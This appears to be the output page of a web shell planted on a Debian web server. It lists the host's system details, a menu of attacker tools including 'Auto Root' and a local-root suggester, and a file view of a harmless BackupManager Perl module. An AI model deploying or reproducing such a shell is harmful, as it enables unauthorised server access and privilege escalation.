Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.41
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
perl5 /
BackupManager /
Delete
Unzip
Name
Size
Permission
Date
Action
Config.pm
824
B
-rw-r--r--
2016-08-23 12:51
Dialog.pm
1.15
KB
-rw-r--r--
2016-08-23 12:51
Logger.pm
3.17
KB
-rw-r--r--
2016-08-23 12:51
Save
Rename
#!/usr/bin/perl package BackupManager::Config; =head1 NAME BackupManager::Config - BackupManager's configuration module =head1 DESCRIPTION Basically, it's a Getopt wrapper and a conffile reader. =cut use strict; use warnings; =head1 FUNCTIONS =head2 getopt() Comes from debconf, thanks joeyh ;) first arg : $usage (text to be written on STDERR if help is needed). @_ : GetOpt args. =cut our $usage; sub getopt ($@) { my ($_usage, @args) = (@_); $usage = $_usage; my $showusage=sub { # closure print STDERR $_usage."\n"; exit 1; }; # don't load big Getopt::Long unless really necessary. return unless grep { $_ =~ /^-/ } @ARGV; require Getopt::Long; Getopt::Long::GetOptions( 'help|h', $showusage, @args, ) || $showusage->(); } =head1 AUTHOR Alexis Sukrieh <sukria@sukria.net> =cut 1;